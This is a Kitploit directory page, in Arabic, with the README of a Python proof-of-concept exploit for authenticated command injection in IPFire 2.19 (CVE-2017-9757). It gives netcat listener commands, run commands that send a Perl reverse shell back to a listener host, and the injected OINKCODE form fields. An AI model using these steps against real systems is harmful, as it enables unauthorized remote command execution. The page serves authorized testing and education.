Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
IPFire_2.19_RCE_Authenticated — يعتمد هذا الاستغلال على CVE-2017-9757 وقد تم بناؤه على الاستغلال الأصلي بواسطة 0x09AL. | Kitploit
أدوات/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

يعتمد هذا الاستغلال على CVE-2017-9757 وقد تم بناؤه على الاستغلال الأصلي بواسطة 0x09AL.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
1منذ 12 أياملم تتم المراجعة بعد

إثبات المفهوم (PoC) لثغرة RCE في IPFire 2.19 عبر OINKCODE

إثبات مفهوم بلغة Python لثغرة حقن الأوامر المصادَق عليها في صفحة ids.cgi الخاصة بـ IPFire 2.19 عبر معامل OINKCODE.

مخصص للاختبارات الأمنية المصرّح بها والمختبرات التدريبية فقط. شغّل هذا الـ PoC فقط ضد أنظمة تمتلكها أو لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام أو الأضرار الناجمة عن هذا الكود.

نظرة عامة على الثغرة

IPFire 2.19 معرّض لحقن أوامر نظام التشغيل في معامل OINKCODE الذي تعالجه /cgi-bin/ids.cgi. يُدمج المعامل في أمر شل دون تحييد مناسب، مما يسمح لمستخدم مصادَق بتنفيذ أوامر على مضيف IPFire.

تُعرَّف الثغرة عمومًا بأنها CVE-2017-9757 وتتوافق مع CWE-78: تحييد غير سليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل ('حقن أوامر نظام التشغيل').

اختُبر الـ PoC العام الأصلي ضد IPFire 2.19 Core Update 110. وتعتبر وحدة Metasploit أن الإصدارات حتى IPFire 2.19 مع Core Update 110 ضمن نطاق الفحص المدعوم.

لماذا أُنشئ هذا الـ PoC

يُنفذ الـ PoC الأصلي بلغة Python من Exploit-DB طلب تحقق باستخدام:

root@kitploit:~
OINKCODE = '`id`'

ثم يصرّح بأن الهدف معرّض للثغرة فقط إذا احتوت استجابة HTTP على:

root@kitploit:~
uid=99(nobody)

هذا التحقق غير موثوق. قد يُنفَّذ الأمر بينما يستهلك أمر الشل الذي ينشئه CGI مخرجاته بدلًا من أن تنعكس في استجابة HTML المرسلة إلى العميل. ونتيجة لذلك، قد يعيد الخادم صفحة HTTP 200 عادية دون تضمين مخرجات id، مما ينتج عنه نتيجة سلبية خاطئة.

يتبع هذا التنفيذ منطق التحقق الذي تستخدمه وحدة Metasploit:

  1. أرسل طلبًا إلى /cgi-bin/pakfire.cgi باستخدام مصادقة HTTP الأساسية.
  2. استخرج إصدار IPFire وCore Update من الاستجابة.
  3. تعامل مع IPFire <= 2.19 وCore Update <= 110 بوصفها تبدو معرّضة للثغرة.
  4. أرسل حمولة الأمر إلى /cgi-bin/ids.cgi في حقل OINKCODE.
  5. تعامل مع استجابة غير 200 كطلب مرفوض أو مشكلة مصادقة.
  6. لا تفحص نص HTML بحثًا عن uid=99(nobody).

يستخدم الـ PoC أيضًا حمولة صدفة أوامر بلغة Perl، بما يطابق عائلة حمولات الأوامر التي تدعمها وحدة Metasploit. لا تُثبت استجابة HTTP الناجحة بحد ذاتها أن الصدفة العكسية اتصلت؛ بل يجب التحقق أيضًا من المستمع ومسار الشبكة.

الاختلافات بين أكواد الاستغلال المصدرية

معيار النجاح المهم في وحدة Metasploit هو أن رمز الاستجابة غير المتوقع يشير إلى بيانات اعتماد غير صالحة أو طلب مرفوض. ولا يتطلب أن يحتوي نص الاستجابة على مخرجات الأمر المُحقَن.

المتطلبات

  • Python 3
  • requests
  • بيانات اعتماد IPFire صالحة مع صلاحية الوصول إلى الواجهة الإلكترونية
  • مفسّر Perl على الهدف، ويكون متاحًا عادةً باسم perl
  • مستمع يمكن الوصول إليه من مضيف IPFire

ثبّت تبعية Python:

root@kitploit:~
python3 -m pip install requests

الاستخدام

1. فحص إصدار الهدف فقط

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

يُطلب كلمة المرور تفاعليًا عندما لا يتم توفير --password. يُنصح بذلك لأن وضع كلمة المرور مباشرة في أمر قد يعرّضها من خلال سجل الأوامر أو قائمة العمليات.

2. تشغيل مستمع

استخدم مستمعًا على العنوان والمنفذ المقدمين عبر --lhost و--lport:

root@kitploit:~
rlwrap nc -lvnp 4444

إذا لم يكن rlwrap مثبتًا، استخدم:

root@kitploit:~
nc -lvnp 4444

3. إرسال حمولة الصدفة العكسية بلغة Perl

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

بالنسبة لشهادة HTTPS الموقّعة ذاتيًا المعتادة في IPFire، يلزم --insecure/-k. استخدمها فقط عندما يكون التحقق من الشهادة مستحيلًا عمدًا في المختبر.

عنوان URL كامل بدلاً من المضيف والمنفذ

يمكن أيضًا تقديم الهدف كعنوان URL أساسي كامل:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

تخطي تحديد إصدار الهدف

استخدم هذا فقط عندما يكون إصدار IPFire قد تأكد بالفعل بشكل مستقل:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

تحديد مسار Perl مختلف

إذا لم يكن Perl في PATH الافتراضي للهدف، فقدم مساره المطلق:

root@kitploit:~
--perl-path /usr/bin/perl

خيارات سطر الأوامر

تفسير المخرجات

HTTP 200 من ids.cgi

يعني هذا أن الـ CGI قبل طلب HTTP وفقًا للمعيار العملي نفسه الذي تستخدمه وحدة Metasploit. استجابة HTML العادية متوقعة وليست دليلًا على فشل فحص الثغرة.

افحص المستمع بحثًا عن الصدفة. إذا لم تصل أي صدفة، تحقق من عنوان الاستدعاء والتوجيه (routing) وقواعد الخروج لجدار الحماية وتوفر Perl والمنفذ المحدد.

HTTP 401 أو HTTP 403

لم يكن الطلب مصرحًا به. تحقق من اسم المستخدم وكلمة المرور وعنوان URL للهدف والمنفذ وما إذا كان الحساب قادرًا على الوصول إلى واجهة ويب IPFire.

HTTP 404

من المحتمل أن عنوان URL للهدف أو مسار CGI غير صحيح، أو أن الخدمة ليست واجهة ويب IPFire المتوقعة.

إصدار غير مُعرَف

تعذّر على السكربت العثور على سلسلة الإصدار المتوقعة في pakfire.cgi. أكّد الهدف يدويًا قبل استخدام --skip-version-check.

انتهاء مهلة الطلب بعد تسليم الحمولة

قد يُبقي الأمر المُحقَن طلب CGI مفتوحًا أثناء محاولة الاستدعاء. تعامل مع هذا كمؤشر على ضرورة فحص المستمع، وليس كدليل قاطع على وجود صدفة.

تدفق الطلب التقني

يستخدم السكربت مصادقة HTTP الأساسية ويرسل حقول النموذج التالية إلى ids.cgi:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

يُحاط الأمر بعلامتَي backtick لأن التطبيق المعرّض للثغرة يمرر قيمة OINKCODE إلى أمر شل. يعتمد سلوك الطلب الدقيق على إصدار الهدف وإعداده المحلي.

القيود

  • هذا إثبات مفهوم، وليس إطار استغلال كاملًا.
  • يعتمد فحص الإصدار على سلوك وحدة Metasploit المرجعية؛ وهو ليس ضمانة بأن كل هدف يحمل لافتة (banner) مطابقة قابل للاستغلال.
  • استجابة 200 تؤكد قبول الطلب، وليس وصول الصدفة العكسية إلى المستمع.
  • تتطلب حمولة Perl مفسّر Perl يعمل واتصال شبكة من IPFire إلى المستمع.
  • لا يحاول السكربت تجاوز المصادقة أو استغلال CSRF؛ فبيانات الاعتماد الصالحة متوقعة.

المراجع

  • NVD: CVE-2017-9757
  • Exploit-DB 42149: تنفيذ أكواد عن بُعد في IPFire 2.19
  • Exploit-DB 42369: تنفيذ أكواد عن بُعد في IPFire < 2.19 Update Core 110
  • وحدة Metasploit: ipfire_oinkcode_exec.rb
  • حمولة أوامر Perl في Metasploit
  • CWE-78: حقن أوامر نظام التشغيل

الإسناد

هذا المشروع تنفيذ تعليمي بلغة Python يستند إلى البحث العام وإثبات المفهوم من 0x09AL، وإلى وحدة Metasploit التي يحافظ عليها مجتمع Metasploit. وهو غير تابع لـ IPFire أو Exploit-DB أو Rapid7 ولا يحظى بتأييدها.

تنزيل الأداة
الميزةExploit-DB 42149 Python PoCExploit-DB 42369 / Metasploitهذا الـ PoC
نقطة النهاية القابلة للاستغلال/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
فحص الإصدارلا يوجدGET /cgi-bin/pakfire.cgiنفس فحص نمط Metasploit
المصادقةالمصادقة الأساسيةترويسة المصادقة الأساسيةالمصادقة الأساسية عبر requests.Session
التحقق الأوليتنفيذ `id` والبحث في نص الاستجابةفحص الإصدار ثم إرسال الحمولةفحص الإصدار واستخدام رمز نتيجة HTTP
خطر النتيجة السلبية الخاطئةمرتفع: يعتمد على انعكاس uid=99(nobody)يتجنب التحقق من محتوى النصيتجنب التحقق من محتوى النص
الصدفة العكسيةBash /dev/tcpحمولة أوامر Unix من Metasploitصدفة أوامر Perl IO::Socket::INET
التعامل مع TLSتعطيل التحقق من الشهادة في الـ PoCSSL مفعّل افتراضيًايُعطَّل التحقق فقط باستخدام -k/--insecure
الإعداداتتُعدَّل القيم في الكود المصدريخيارات Metasploitوسائط سطر الأوامر
الخيارالافتراضيالوصف
-t, --targetمطلوبمضيف/عنوان IP الهدف أو عنوان URL أساسي كامل
--schemehttpsالمخطط (scheme) المستخدم عندما يكون الهدف مضيفًا/عنوان IP فقط
--web-port444منفذ واجهة ويب IPFire
-u, --usernameadminاسم مستخدم IPFire
-p, --passwordيُطلبكلمة المرور؛ احذفها لإدخالها دون ظهور
--lhostمطلوبعنوان المستمع الذي يمكن الوصول إليه من IPFire
--lport4444منفذ المستمع
--perl-pathperlملف Perl التنفيذي على الهدف
--timeout10مهلة HTTP بالثواني
-k, --insecureمعطّلتعطيل التحقق من شهادة TLS
--skip-version-checkمعطّلتخطي فحص pakfire.cgi
--check-onlyمعطّلتنفيذ فحص الإصدار فقط